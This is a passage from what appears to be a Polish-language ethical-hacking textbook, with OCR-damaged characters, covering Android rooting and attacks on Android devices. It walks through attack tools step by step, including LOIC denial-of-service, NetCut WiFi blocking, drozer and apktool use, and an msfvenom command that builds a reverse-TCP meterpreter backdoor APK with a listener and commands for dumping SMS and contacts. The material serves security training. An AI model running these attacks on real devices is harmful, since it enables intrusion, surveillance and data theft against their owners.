Wytacz kamere : Okresla funkcje wytgczania kamery. Pamietaj, ze nie musi to by¢ trwate. Kamera moze
by¢ wtaczana/wytgczana dynamicznie w zaleznosci od kontekstu, czasu itd. Wprowadzony w
Androidzie 4.0.

Oproécz obstugi wspomnianych powyzej zasad interfejs APl do administrowania urzgdzeniem umozliwia
wykonanie nastepujgce czynnosci:

Popros uzytkownika o ustawienie nowego hasta
Natychmiast zablokuj urzagdzenie
Wyczys¢ dane urzadzenia (tj. przywrd¢ urzadzenie do domysinych ustawien fabrycznych)

Ponizej przedstawiono przyktadowg strone administratora urzgdzenia z systemem Android:

m Sample Device Admin

Erase all data
Change the screen-unlock password
Set password rules

Monitor screen-unlock attempts

Lock the screen

Set lock-screen password expiration

Set storage encryption

Disable cameras

Activate

Rootowanie Androida

Celem rootowania Androida jest pokonanie ograniczern natozonych przez producentéw sprzetu i
operatoréw, a tym samym uzyskanie mozliwosci modyfikowania lub wymiany aplikacji i ustawien
systemowych, uruchamiania aplikacji wymagajacych uprawniedt administratora, usuwania i
zastepowania systemu operacyjnego urzadzenia, usuwania aplikacji preinstalowanych przez jego
producenta lub operatora, ani wykonywac innych operacji, ktére w inny sposéb sg niedostepne dla
typowego uzytkownika Androida. Rootowanie umozliwia uzytkownikom Androida uzyskanie



uprzywilejowanej kontroli (znanej jako ,, dostep roota”) w podsystemie Androida. Proces rootowania
obejmuje wykorzystanie luk w zabezpieczeniach oprogramowania uktadowego urzadzenia,
skopiowanie podrzednego pliku binarnego do lokalizacji w SCIEZCE biezacego procesu (np.
/system/xbin/su) i nadanie mu uprawnien do wykonywania za pomocg polecenia chmod. Rootowanie
umozliwia wszystkim aplikacjom zainstalowanym przez uzytkownika uruchamianie uprzywilejowanych
polecen, takich jak

Modyfikowanie lub usuwanie plikdw systemowych, modutédw, pamieci ROM (oprogramowanie
firmowe) i jadra

Usuwanie aplikacji zainstalowanych przez operatora lub producenta (bloatware)

Dostep niskiego poziomu do sprzetu, ktéry jest zwykle niedostepny dla urzagdzen w ich domysinej
konfiguracji

Poprawiona wydajnos¢

Tethering Wi-Fi i Bluetooth

Instalowanie aplikacji na karcie SD
Lepszy interfejs uzytkownika i klawiatura

Rootowanie wigze sie rowniez z wieloma zagrozeniami bezpieczeristwa i innymi zagrozeniami dla
urzadzenia, w tym z utratg gwarancji na telefon

Kiepska wydajnos¢
Infekcja ztosliwym oprogramowaniem
,Zamurowanie” urzadzenia

Mozna uzyé narzedzi takich jak KingoRoot, TunesGo Root Android Tool i tak dalej, aby zrootowac
Androida .

Rootowanie Androida za pomocg KingoRoot

KingoRoot to narzedzie stuzgce do rootowania urzadzern z Androidem. Moze by¢ uzywany z
komputerem lub bez niego. KingoRoot pomaga uzytkownikom zrootowac ich urzgdzenia z Androidem,
aby osiggnac¢ nastepujace cele:

Zachowaj zywotnos¢ baterii

Uzyskaj dostep do aplikacji tylko dla roota

Usun ,bloatware” operatora

Dostosuj wyglad

Uzyskaj uprawnienia na poziomie administratora

Nastepujace kroki s3 zaangazowane w rootowanie urzgdzenia z Androidem za pomocg tego narzedzia:
Rootowanie Androida za pomocg komputera:

Pobierz KingoRoot Android (wersja na PC) i zainstaluj go na swoim pulpicie.

Uruchom narzedzie i podtgcz urzgdzenie do komputera kablem USB.



Wiacz tryb debugowania USB na swoim urzadzeniu z Androidem.

Teraz narzedzie zainstaluje najnowsze sterowniki na twoim komputerze.

Na pulpicie zobaczysz nowy ekran z nazwg urzgdzenia i przyciskiem ,ROOT”.
Kliknij ROOT, aby zrootowac swoje urzadzenie.

Rootowanie Androida bez komputera:

WHtacz instalacje z nieznanych Zzrédet na swoim urzgdzeniu z Androidem.
Pobierz KingoRoot.apk na urzagdzenie z Androidem ze Sklepu Play.

Zainstaluj i uruchom KingoRoota.

Nacisnij ,One Click Root” w gtéwnym interfejsie aplikacji.

Poczekaj kilka sekund, az na wyswietlaczu pojawi sie gtéwny wynik.

Sprébuj wiele razy w przypadku nieudanego rootowania lub wyprébuj wersje na PC.
Narzedzia do rootowania Androida

Narzedzie TunesGo do rootowania systemu Android

To narzedzie ma zaawansowany modut rootowania Androida, ktéry rozpoznaje i analizuje twoje
urzadzenie z Androidem i automatycznie wybiera dla niego odpowiedni plan rootowania Androida.
Kroki, aby zrootowaé urzadzenie z Androidem za pomocg narzedzia TunesGo Root Android, s3
nastepujace:

o Pobierz narzedzie TunesGo Root Android

o Podtacz urzadzenie do komputera

0 Znajdz w przyborniku opcje ,,One-click Android Root” i kliknij jg, aby zrootowa¢ urzadzenie
o Twoje urzadzenie z Androidem zostato pomysinie zrotowane

Rootowanie jednym kliknieciem

One Click Root to oprogramowanie do rootowania systemu Android, ktére obstuguje wiekszosc¢
urzadzen. Jest wyposazony w dodatkowe zabezpieczenia przed awarig (takie jak natychmiastowe
usuwanie roota) i oferuje petne wsparcie techniczne. Umozliwia rootowanie smartfona lub tabletu z
Androidem i zapewnia dostep do dodatkowych funkcji, takich jak uzyskiwanie dostepu do wiekszej
liczby aplikacji, instalowanie aplikacji na kartach SD, oszczedzanie baterii, tethering Wi-Fi i Bluetooth,
instalowanie niestandardowych pamieci ROM i dostep do zablokowanych funkcji.

Oto niektére dodatkowe narzedzia do rootowania systemu Android:
Magisk Manager (https://magiskmanager.com)

SuperSU root ( https://supersuroot.org )

Framaroot (https://framaroot-app.com)

KingRoot (https://kingrootapp.net)

iRoot (https://www.iroot.com)



Hakowanie urzadzen z Androidem

Ze wzgledu na szybko rosnacg liczbe uzytkownikéw urzadzen z Androidem urzadzenia te staty sie
gtéwnymi celami wiekszosci hakerdw. Atakujgcy uzywajg réznych narzedzi, takich jak NetCut, drozer,
zANTI, Network Spoofer, Low Orbit lon Cannon (LOIC), DroidSheep, Orbot Proxy itd., aby
przeprowadzaé ataki na urzagdzenia z Androidem.

Blokowanie dostepu do Wi-Fi za pomocg NetCut

NetCut to aplikacja do zabijania Wi-Fi, ktéra pozwala atakujgcym w sieci identyfikowaé urzadzenia
docelowe i blokowa¢ dostep Wi-Fi do tych urzadzen.

Uwaga: Ta aplikacja dziata skutecznie tylko na urzadzeniach zrootowanych.
Wykonaj ponizsze czynnosci, aby zablokowa¢ dostep do Wi-Fi:

Krok 1: Pobierz i zainstaluj aplikacje NetCut na Androida na swoim urzgdzeniu.
Krok 2: Uruchom aplikacje NetCut.

Krok 3: Automatycznie skanuje wszystkie urzadzenia uzyskujgce dostep do sieci Wi-Fi i wyswietla liste
pod zaktadkg CUT w interfejsie.

Krok 4: Zidentyfikuj urzadzenie docelowe i dotknij go, aby zablokowa¢ dostep Wi-Fi do urzadzenia.
Symbol propagacji Wi-Fi po lewej stronie nazwy zablokowanego urzgdzenia zmieni kolor z niebieskiego
na czerwony. Mozesz to potwierdzi¢, przechodzac do zaktadki JAIL w interfejsie, gdzie zostanie
wyswietlona lista zablokowanych urzadzen.

Identyfikacja powierzchni ataku za pomoca drozera

Atakujgcy uzywajg narzedzia drozer do wykrywania réznych luk w zabezpieczeniach i atakowania
powierzchni urzadzen i aplikacji z Androidem. Jest réwniez zintegrowany z réznymi funkcjami do
zdalnego sterowania urzadzeniami z Androidem. Atakujgcy nie potrzebujg Zzadnych technik
debugowania USB; potrafig ocenié urzadzenie za pomocg drozera w samym stanie produkcyjnym. To
narzedzie oferuje agenta drozera (emulator uzywany do testowania) i konsole drozera (interfejs
wiersza polecen), ktére mogg zosta¢ wykorzystane przez atakujgcego do przeprowadzenia réznych
operacji oceny na urzadzeniach docelowych. Po zainstalowaniu agenta drozer nalezy wykona¢ ponizsze
czynnosci, aby zidentyfikowaé obszary ataku na docelowym urzgdzeniu z Androidem:

Pobieranie informacji o pakiecie

Uzyj nastepujgcych polecen, aby pobraé informacje o pakiecie z podtgczonego urzadzenia:
dz> uruchom app.package.list

Wyswietla wszystkie pakiety wewnatrz urzagdzenia

dz> uruchom app.package.list -f <nazwa_ciagu>

Pobiera nazwe pakietu z listy

dz> uruchom app.package.info -a <nazwa_pakietu>

Pobiera podstawowe informacje o okreslonym pakiecie

Uruchamiajgc powyzsze polecenia, osoba atakujgca uzyskuje wszystkie informacje o wymaganym
pakiecie.



Identyfikacja powierzchni ataku

Teraz atakujgcy wykorzystuje narzedzia z wyzej wymienionego pakietu do identyfikacji powierzchni
ataku na urzadzeniu. Uzyj nastepujgcych polecen, aby wyswietli¢ informacje o wyeksportowanych
dziataniach, ustugach, odbiornikach rozgtoszeniowych i dostawcach tresci:

dz> uruchom app.package.attacksurface <nazwa_pakietu>
Wymienia rézne eksportowane dziatania

dz> uruchom app.package.attacksurface jakhar.aseem.diva
Wyswietla szczegdty wyeksportowanych dziatan

Uruchamianie dziatan

Uzyj nastepujacego polecenia, aby uruchomi¢ wymagane dziatanie:
dz> uruchom app.activity.start — sktadnik <nazwa_pakietu>
<nazwa_aktywnosci>

Dziatanie wyswietla krytyczne informacje, ktére mozna wykorzystaé do obejscia procesu
uwierzytelniania.

Po ominieciu procesu uwierzytelniania osoba atakujgca moze wykryé rézne powierzchnie atakow i
dalej je wykorzystywaé do przeprowadzania réznych atakéw na docelowe urzadzenia z systemem
Android.

Hakowanie za pomocg zANTI i Network Spoofer

Hakowanie sieci za pomocg zANTI

zANTI to aplikacja na Androida, ktéra umozliwia przeprowadzanie nastepujgcych atakdéw:
o Sfatszowany adres MAC

o Twoérz ztosliwy hotspot Wi-Fi, aby przechwytywac ofiary w celu kontrolowania i przejmowania
kontroli nad ich urzadzeniami

ruch drogowy

o Skanuj w poszukiwaniu otwartych portéw

o Wykorzystaj luki routera

o Audyty ztozonosci haset

o MITM i atak DoS

o Przegladaj, modyfikuj i przekierowuj wszystkie zgdania i odpowiedzi HTTP

o Przekieruj HTTPS na HTTP; przekierowa¢ zgdanie HTTP do okreslonego adresu IP lub strony
internetowej

o Wstaw kod HTML do stron internetowych

o Przechwytywanie sesji



o Przegladaj i zastepuj wszystkie obrazy przesytane przez sie¢
o Przechwytywanie i przechwytywanie pobranych plikow
Hakowanie sieci za pomocg Network Spoofer

Network Spoofer umozliwia zmiane stron internetowych na komputerach innych oséb za pomoca
telefonu z systemem Android. Pozwala atakujgcym odwracac obrazy i tekst do géry nogami, sprawiac,
ze strony internetowe doswiadczajg grawitacji, przekierowywac strony internetowe na inne strony
oraz usuwac lub zastepowac losowe stowa na stronach internetowych.

Uruchom atak DoS za pomocg dziata jonowego o niskiej orbicie (LOIC)

LOIC to aplikacja mobilna, ktéra umozliwia atakujgcym przeprowadzanie atakow DoS/DDoS na
docelowy adres IP. Ta aplikacja moze przeprowadza¢ ataki typu UPD, HTTP lub TCP flood. Pozwala
atakujgcym przejac petng kontrole nad przeptywem ruchu, wysytaé pakiety danych na dowolny adres
IP, wykorzystywad rozne metody wysytania pakietéw danych (HTTP, UDP lub TCP), pobierac adres IP z
dowolnego rzeczywistego adresu internetowego i wysyta¢ dane pakiety do dowolnego portu. Wykonaj
ponizsze czynnosci, aby przeprowadzi¢ atak DoS:

Krok 1: Pobierz i zainstaluj aplikacje LOIC Android ze sklepu Android Play.

Krok 2: Uruchom aplikacje LOIC.

Krok 3: Wprowadz docelowy adres IP lub adres URL w polu GET Target IP i kliknij przycisk GET IP.
Krok 4: Wybierz metode ataku DoS, wybierajgc dowolne radio UDP, HTTP lub TCP

przyciski pod opcjg metody wysytania.

Krok 5: Wprowadz port i liczbe watkéw. Liczby musza by¢ dodatnimi liczbami catkowitymi.

Krok 6: Kliknij przycisk START na dole interfejsu, aby rozpoczg¢ atak DoS.

Przejecie sesji za pomoca DroidSheep

DroidSheep to proste narzedzie Androida do przejmowania sesji internetowych (,,sidejacking”) przy
uzyciu libpcap i arpspoof. Wiekszos¢ aplikacji internetowych uzywa identyfikatora sesji do weryfikacji
tozsamosci uzytkownika w aplikacji. Przesytajg ten identyfikator sesji w kolejnych zadaniach w
pakietach HTTP w celu utrzymania sesji uzytkownika. DroidSheep nastuchuje pakietéw HTTP
wysytanych przez bezprzewodowe potgczenie sieciowe (802.11) i wyodrebnia identyfikatory sesji z
tych pakietow w celu ich ponownego wykorzystania. Atakujgcy mogg uzy¢ DroidSheep do odczytania
wszystkich pakietdw wysytanych przez sie¢ bezprzewodowsq i przechwycenia identyfikatora sesji. Po
przechwyceniu skradziony identyfikator sesji jest uzywany przez atakujgcego do uzyskiwania dostepu
do docelowej aplikacji internetowej w imieniu ofiary. DroidSheep moze przechwytywac sesje przy
uzyciu biblioteki libpcap i obstuguje sieci OPEN, sieci szyfrowane WEP oraz sieci szyfrowane WPA i
WPA2 (tylko PSK).

Hakowanie za pomocg Orbot Proxy

Orbot to aplikacja proxy, ktéra umozliwia innym aplikacjom korzystanie z Internetu w bardziej
prywatny sposéb. Uzywa Tora do szyfrowania ruchu internetowego, a nastepnie ukrywa go,
przepuszczajgc go przez szereg komputerdw na catym swiecie. Atakujgcy moga uzywac tej aplikacji do
ukrywania swojej tozsamosci podczas przeprowadzania atakow lub przeglagdania docelowych aplikacji
internetowych.



Wykorzystanie urzadzenia z Androidem przez ADB przy uzyciu PhoneSploit

Android Debug Bridge (ADB) to narzedzie wiersza polecen, ktére umozliwia atakujagcym komunikacje z
docelowym urzadzeniem z Androidem. To narzedzie zapewnia rézne funkcje instalowania i
debugowania aplikacji oraz uzyskiwania dostepu do powtoki systemu Unix w celu wykonywania
réznych polecen powtoki na urzadzeniu. Ustuge ADB mozna podtagczy¢ za pomoca kabla USB lub
bezprzewodowo ADB. Aby korzysta¢ z tgcznosci bezprzewodowej ADB, musisz wiaczy¢ serwer
demondéw za pomocg portu TCP 5555 na urzadzeniu docelowym. To narzedzie dziata jak pomost
miedzy komputerem osobistym osoby atakujgcej a docelowym urzgdzeniem z systemem Android.
Ponadto zapewnia okno polecen do uruchamiania polecen bezposrednio na urzadzeniu z Androidem.
Jesli docelowe urzadzenie z Androidem ma wtgczone debugowanie TCP na porcie 5555, osoby
atakujgce mogg uzy¢ narzedzi takich jak PhoneSploit do wykonywania réznych ztosliwych dziatan na
urzadzeniu docelowym, takich jak przechwytywanie ekranu, zrzucanie informacji o systemie,
przegladanie uruchomionych aplikacji, przekazywanie portéw, instalowanie/odinstalowywanie
dowolnych aplikacji i wtgczania/wytgczania Wi-Fi.

Sniffery oparte na Androidzie
FaceNiff

FaceNiff to aplikacja na Androida, ktéra umozliwia wachanie i przechwytywanie profili sesji
internetowych przez sie¢ Wi-Fi, do ktérej podtgczone jest urzadzenie mobilne. Przejecie sesji jest
mozliwe tylko wtedy, gdy Wi-Fi nie korzysta z rozszerzalnego protokotu uwierzytelniania (EAP), ale
powinno dziata¢ w dowolnej sieci prywatnej (Open/WEP/WPA-PSK/WPA2-PSK).

Oto niektére dodatkowe sniffery oparte na systemie Android:
Packet Capture ( https://play.google.com)

e tPacketCapture (http://www.taosoftware.co.jp)

Android PCAP ( https://www.kismetwireless.net )

Sniffer Wicap 2 Demo (https://play.google.com)

TestelDroid (https://play.google.com)

Rozpoczecie ataku typu ,,cztowiek w dysku”.

Atakujacy przeprowadzajg atak typu ,man-in-the-disk” (MITD), gdy aplikacje nie zawierajg
odpowiednich srodkéw bezpieczeristwa przed uzyciem zewnetrznej pamieci masowej urzadzenia. Luka
ta prowadzi do instalacji potencjalnie ztosliwych aplikacji na urzadzeniu uzytkownika, blokujac w ten
sposdb dostep do legalnych aplikacji. MITD jest odmiang MITM. System operacyjny Android sktada sie
z dwdch rodzajow pamieci: wewnetrznej i zewnetrznej. Ogdlnie rzecz biorgc, pamie¢ wewnetrzna dla
aplikacji na Androida jest piaskownicg, podczas gdy pamie¢ zewnetrzna ma umozliwia¢ udostepnianie
plikdw miedzy aplikacjami, co czyni jag podatng na ataki MITD. Gdy jakakolwiek legalna aplikacja
préobuje uruchomi¢ regularng aktualizacje, osoba atakujgca monitoruje dane przechowywane w
pamieci zewnetrznej i prébuje zastgpi¢, zmodyfikowac lub nadpisa¢ dane aplikacji, modyfikujac kod
zrédtowy aktualizacji. Po tym, jak osoba atakujgca pomysinie wprowadzi ztosliwy kod do legalnej
aktualizacji aplikacji, aplikacja uzytkownika pobiera i uruchamia ztosliwy kod oraz instaluje fatszywg
aplikacje od osoby atakujgcej. Za pomocg tej ztosliwej aplikacji osoba atakujgca moze omingc
zabezpieczenia Androida i uzyska¢ dostep do poufnych informacji przechowywanych na urzadzeniu,
takich jak dane logowania, dane osobowe, kontakty i zdjecia, a nawet zhakowa¢ sprzet mobilny, taki



jak mikrofony i kamery. Ta ztosliwa aplikacja moze ponadto spowodowaé wytgczenie aplikacji, a
nastepnie catkowite przejecie kontroli nad urzgdzeniem mobilnym. Atak MITD obejmuje nastepujace
kroki:

Ofiara pobiera i instaluje legalng aplikacje z oficjalnego sklepu z aplikacjami
Urzgdzenie mobilne ofiary otrzymuje aktualizacje aplikacji i zgda aktualizacji kodu z serwera w chmurze

e Ofiara zezwala legalnej aplikacji na dostep do pamieci zewnetrznej. Teraz pobrany kod jest
przechowywany w pamieci zewnetrznej

e Atakujacy zdalnie monitoruje zewnetrzng pamie¢ masowq i modyfikuje jej zawarto$¢ poprzez
wstrzykniecie ztosliwego kodu

* Teraz legalna aplikacja pobiera i uruchamia sfatszowany kod aktualizacji z pamieci zewnetrznej

Ztosliwy kod wstrzykniety przez atakujgcego automatycznie zada i instaluje fatszywa aplikacje od
atakujacego.

Za pomoca tej ztosliwej aplikacji atakujgcy moze wykrasé poufne informacje ofiary przechowywane na
urzadzeniu mobilnym lub catkowicie przejgé kontrole nad urzadzeniem mobilnym.

Rozpoczecie ataku spearphone

Atak spearphone umozliwia aplikacjom na Androida nagrywanie danych z gtosnikdw bez zadnych
uprawnien. Atakujgcy moga podstuchiwaé rozmowy gtosowe miedzy zdalnymi uzytkownikami
mobilnymi, wykorzystujgc sprzetowy czujnik ruchu, tj. akcelerometr. Akcelerometr to uktad
wbudowany w wiekszo$¢ smartfonow, do ktérego dostep ma kazida aplikacja zainstalowana w
telefonie bez specjalnych uprawnien. Czujnik ruchu pozwala aplikacjom rejestrowaé fizyczny ruch
urzadzenia na podstawie zmian potozenia i predkosci. Pogtos mowy moze by¢ réwniez rejestrowany
przez ten wbudowany czujnik, poniewaz gtosnik jest umieszczony na tej samej powierzchni w
urzadzeniu. Atakujgcy mogg rédwniez monitorowaé¢ dane wyjsciowe gtosnika, takie jak asystenci
gtosowi, wiadomosci multimedialne i pliki audio, wykorzystujgc ztosliwg aplikacje do naruszenia
prywatnosci mowy. Ponadto osoby atakujgce mogg przechwytywac dane za pomoca ztosliwego kodu
uruchomionego w telefonie. Ponadto mogg przeprowadza¢ identyfikacje mowy lub mdwcy oraz
klasyfikacje ptci poprzez wdrozenie rozpoznawania i rekonstrukcji mowy. Ponizszy schemat pokazuje,
w jaki sposdb przechwytywane sg dane gtosnika.

Eksploatacja urzadzen z Androidem za pomocg Metasploit

Metasploit Framework umozliwia atakujgcym wykorzystanie niestandardowych lub wbudowanych
exploitéw i tadunkdw w celu wykorzystania docelowego urzadzenia z Androidem i uzyskania poufnych
informacji. Ponizej przedstawiono kroki, aby wykorzysta¢ urzadzenie z Androidem za pomoca
Metasploit Framework:

Uruchom nastepujace polecenia, aby wyswietli¢ exploity Androida i tadunki Androida stuzgce do
hakowania urzgdzenia z Androidem:

o msf > search type:exploit platform:android
o msf > search type:payload platform:android

Uruchom nastepujgce polecenie, aby utworzy¢ niestandardowy tadunek:



msfvenom -P android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=<Adres IP
lokalnego hosta> R > Desktop/Backdoor.apk

Uwaga: Aby nawigzad potaczenie z wykonanego pliku .apk, w systemie musi by¢ otwarty odbiornik.
Uruchom nastepujgce polecenia, aby zezwoli¢ na to pofaczenie:

o msf >use exploit/multi/handler

o msf >set PAYLOAD android/meterpreter/reverse_tcp

o msf >set LHOST <Local Host IP Address>

o msf > set LPORT <Port No>

o msf > exploit

Uruchom polecenie sysinfo, aby zweryfikowac urzadzenie z Androidem po otrzymaniu monitu
Meterpreter w atakujgcym systemie.

Uzyj nastepujacych polecen miernika, aby zebra¢ poufne dane z docelowego urzadzenia z systemem
Android:

o ipconfig

o pwd

o ps

o dump_sms

o dump_calllog

o dump_contacts

o webcam_list

Inne techniki hakowania urzadzen z systemem Android
Zaawansowany phishing SMS

Zaawansowany atak phishingowy za pomocg wiadomosci SMS to rodzaj oszustwa phishingowego,
ktore wystepuje z powodu luk w zabezpieczeniach najnowszych smartfonéw z systemem Android,
produkowanych gtéwnie przez firmy Samsung, Huawei, LG i Sony. Atakujgcy moze przeprowadzi¢ ten
atak za pomocg dowolnego niedrogiego modemu USB i naktoni¢ uzytkownika do zaakceptowania
nowych ustawien, tj. ztosliwych ustawien w urzadzeniu mobilnym, co moze przekierowaé¢ dane
uzytkownika do atakujgcego.

Wektor ataku zalezy gtéwnie od procesu zwanego udostepnianiem Over-the-Air (OTA), ktory jest
uzywany gtéwnie przez operatoréw sieci. OTA to mechanizm stuzacy do zdalnego wysytania danych
dotyczacych udostepniania i aktualizacji na urzadzeniu mobilnym. Ze wzgledu na stabe metody
uwierzytelniania OTA jest tatwo narazony na ataki typu phishing. Atakujacy wykorzystuje urzgdzenie
mobilne, wysytajgc wiadomosci, ktére wydaja sie by¢ autentyczne od operatora sieci. Wiadomosci te
zawierajg ztosliwe facza, ktére mogg przekierowywac ruch internetowy z powrotem do osoby
atakujgcej. Przed wykonaniem ataku atakujgcy wymaga numeru IMSI (International Mobile Subscriber
Identity) ofiary, ktéry jest unikalnym identyfikatorem ciggu dla kazdego urzadzenia mobilnego.
Korzystajgc z tego IMSI, ztosliwa wiadomos¢ atakujgcego moze zostaé tatwo uwierzytelniona i



przetworzona na urzgdzeniu mobilnym. Jesli numer IMSI nie jest dostepny, atakujgcy powinien wystac
dwie wiadomosci. Pierwsza szkodliwa wiadomos¢ zawiera kod PIN, ktéry wydaje sie pochodzi¢ od
operatora sieci ofiary; druga wiadomos¢ obejmuje ztosliwg wiadomosé uwierzytelniong za pomoca
kodu PIN w pierwszej wiadomosci. Za pomocg tych wiadomosci urzadzenie mobilne moze zostac
wykorzystane, gdy ofiara wprowadzi kod PIN. Tego typu wiadomosci zawierajgce ztosliwe linki mogg
modyfikowac serwery wiadomosci, serwery pocztowe, serwery katalogowe i adresy proxy smartfonéw
z systemem Android. Ataki SMiShing mozna ztagodzi¢ za pomoca aplikacji, takich jak Harmony Mobile.

Pomin przypinanie SSL

Przypinanie SSL umozliwia aplikacjom wykonywanie operacji tylko po sprawdzeniu poprawnosci
zaufanych certyfikatow i kluczy publicznych. Chociaz komunikacja miedzy aplikacjg a serwerem jest
definiowana przez przypinanie SSL, ktére moze zapobiegac atakom MITM, osoba atakujgca moze nadal
oming¢ przypinanie SSL przy uzyciu roézinych technik, wykorzystujac btedne konfiguracje w
implementacji SSL. Techniki te obejmujg inzynierie wsteczng i hakowanie, a takze rdine
zautomatyzowane narzedzia, takie jak Apktool, Frida, keytool i Jarsigner.

Korzystanie z inzynierii odwrotnej

Atakujacy uzywajg narzedzi takich jak Apktool do dekompilacji i ponownej kompilacji aplikacji do jej
pierwotnej postaci po pewnych modyfikacjach. Kroki, aby oming¢ przypinanie SSL za pomoca inzynierii
wstecznej:

¢ Pobierz Apktool (oferuje interfejs wiersza polecen)
¢ Uzyj nastepujgcego polecenia, aby zdekompilowac¢ aplikacje na Androida:
apktool d <nazwa_aplikacji.apk>

¢ Po dekompilacji aplikacji mozesz uzyskaé dostep do kodu zrédtowego APK wraz z réznymi katalogami,
takimi jak smali, build, smali_classes, asset, lib, unknown, original i res.

¢ kod smali (asembler uzywany przez Dalvik VM, implementacje JVM systemu Android) jest integralng
czescig dekompilowanego kodu, ktéry zawiera preinstalowany kod Kotlin i Java. Musisz zrozumie¢ ten
kod aplikacji, aby zmodyfikowac smali.

e Teraz mozesz sprébowac odkry¢ przypinanie SSL, ktére obejmuje rdézine funkcje, takie jak
checkclienttrust i checkclientserver, ktdre dostarczajg informacji o cyfrowych certyfikatach X.509. Te
certyfikaty X.509 zawierajg kod bajtowy klucza publicznego uzytkownika. Po zebraniu tych informacji
mozesz zmieni¢ dane wyjsciowe funkcji, aby oming¢ przypinanie SSL.

e Uzyj nastepujgcego polecenia, aby ponownie skompilowa¢ zmodyfikowany kod Zrédtowy aplikacji do
jego pierwotnej postaci:

apktool b <nazwa_katalogu_aplikacji>
Hooking

Wykorzystujac technike przechwytywania, osoba atakujgca moze manipulowaé zachowaniem aplikacji
w czasie wykonywania. Atakujgcy uzywa narzedzi takich jak Frida do zmiany kodu wykonawczego. Frida
umozliwia atakujgcemu wstrzykniecie ztosliwego kodu do aplikacji i manipulowanie oryginalnym
kodem oraz dziataniem aplikacji.

Uzyj nastepujgcego polecenia, aby podtgczy¢ kod JavaScript do uruchomionej aplikacji na Androida.



Uwaga: Podczepianie mozna wykonac¢ réwniez za pomocg narzedzia Frida dla aplikacji iOS.
Tap 'n Ghost

Tap 'n Ghost to nowatorska technika ataku wykorzystujgca urzadzenia z systemem Android
obstugujace technologie NFC. Celem tego ataku jest technologia NFC i elektrody RX stosowane w
pojemnosciowych ekranach dotykowych urzadzern mobilnych. Jesli atakujgcemu uda sie nawigzac
zdalne potgczenie z docelowym urzgdzeniem mobilnym, moze przejgé nad nim petng kontrole.
Atakujacy uzywajg punktéw dostepowych Bluetooth lub Wi-Fi do ustanowienia potgczenia zdalnego.

Tap 'n Ghost opiera sie na dwéch technikach ataku, a mianowicie opartej na tagach Adaptive Ploy (TAP)
i Ghost Touch Generator. Atakujgcy wykorzystujg te techniki do generowania szkodliwych zdarzen na
smartfonie ofiary i zdalnego przejmowania kontroli nad smartfonem. Ataki takie mogg by¢ réwniez
przeprowadzane na maszyny do gtosowania i bankomaty.

Adaptacyjna sztuczka oparta na tagach (TAP)

TAP wykorzystuje funkcje NFC, ktéra moze spowodowaé, ze urzadzenie z Androidem odwiedzi
okreslony adres URL bez zgody ofiary za pomocg emulatora tagéw NFC. Ten atak dziata z serwerem
WWW, ktdry wykorzystuje technike odciskdw palcédw urzadzenia.

Ghost Touch Generator

Ghost Touch Generator zmusza ofiare do dotkniecia przycisku anulowania, ktéry dziata jak przycisk
zezwolenia. W ten sposdb atakujgcy moze naktoni¢ ofiare do udzielenia zdalnego dostepu do
smartfona bez wiedzy ofiary.

Trojany na Androida
SharkBot

Trojan bankowy SharkBot dla Androida atakuje docelowe urzgdzenie z Androidem i inicjuje transfer
pieniedzy przy uzyciu techniki Automatic Transfer System (ATS). SharkBot moze oming¢ mechanizmy
uwierzytelniania dwusktadnikowego i wielosktadnikowego, ktére mozna wykorzysta¢ do weryfikacji
tozsamosci uzytkownika i wykrycia podejrzanych przelewdw pienieznych. Trojan ten atakuje aplikacje
bankowe i gietdy kryptowalut w Wielkiej Brytanii, Wtoszech, Stanach Zjednoczonych i innych krajach.
Gdy SharkBot zostanie zainstalowany na docelowym urzadzeniu z Androidem, moze wydobywad
poufne informacje, takie jak dane uwierzytelniajace, dane wiasciciela konta i transakcje na koncie,
wykorzystujgc funkcje utatwien dostepu. Ten ztosliwy kod wykorzystuje wiele technik
antyanalitycznych w celu obejscia rozwigzan antywirusowych. SharkBot moze réwniez przechwytywac
wiadomosci SMS z banku i kras¢ informacje o kartach kredytowych. SharkBot moze po instalacji
wykonaé nastepujgce czynnosci:

o Kras¢ dane logowania i informacje o karcie kredytowej
o Interakcja z wiadomosciami SMS

o Wtacz funkcje keyloggera

o0 Wtacz zdalny dostep do urzadzenia z Androidem
GriftHorse

GriftHorse to trojan dla systemu Android osadzony w ponad 200 ztosliwych aplikacjach. Kiedy
uzytkownik Androida instaluje ztosliwg aplikacje osadzong w GriftHorse, wyswietla ogromng liczbe



powiadomien dotyczacych rabatéw i spadkow cen. Gdy uzytkownik kliknie dowolne powiadomienie,
przechodzi do ztosliwej witryny i prosi ofiare o potwierdzenie numeru telefonu komérkowego. Jednak
w rzeczywistosci wabi ofiare do subskrypcji ustugi SMS-éw premium, ktéra wigze sie z wysokimi
miesiecznymi kosztami. Uzywajac tego

Szacuje sie, ze GriftHorse zarabia ponad 1,5 miliona dolaréw miesiecznie.
Oto niektére dodatkowe trojany dla systemu Android:

TeaBot

Android Police Virus

Octo

Aberebot

Xenomorph

Narzedzia do przejmowania OTP

AdvPhishing

AdvPhishing to narzedzie do phishingu w mediach spotecznosciowych, ktére pomaga atakujgcym w
obejsciu uwierzytelniania dwuskfadnikowego Ilub OTP. AdvPhishing moze uzyskaé¢ dostep do
docelowego adresu IP i jest kompatybilny z systemami operacyjnymi Linux i Termux. Atakujacy
wdrazajg AdvPhishing w sieciach publicznych za pomoca tunelowania NGrok i tunelowania localhost.
Jak pokazano na zrzucie ekranu, osoby atakujgce omijajg uwierzytelnianie dwusktadnikowe konto
ofiary w mediach spotecznosciowych (Instagram) poprzez uwierzytelnienie aplikacji za pomoca
AdvPhishing.

mrphish

mrphish to oparty na bash skrypt uzywany do phishingu kont w mediach spotecznos$ciowych z kontrolg
przekierowania portdw i omijania OTP. To narzedzie dziata zaréwno na zrootowanych, jak i
nierootowanych urzadzeniach z Androidem.

Narzedzia do przejmowania aparatu/mikrofonu
StormBreaker

Atakujgcy wykorzystujg narzedzie StormBreaker do socjotechniki, przechwytujgc kamere/mikrofon.
Narzedzie moze uzyskiwa¢ dostep do lokalizacji urzgdzenia, kamery internetowej i mikrofonu bez
wyraznego zadania jakichkolwiek uprawnien.

Oto kilka dodatkowych narzedzi do hakowania kamery/mikrofonu:
CamPhish (https://www.github.com)

CamHack (https://www.github.com)

E-TOOL (https://github.com)

CamOver (http://www.github.com)

CAM-DUMPER (https://github.com)

Narzedzia hakerskie na Androida



Atakujacy uzywajg roznych narzedzi hakerskich Androida do identyfikowania luk w zabezpieczeniach i
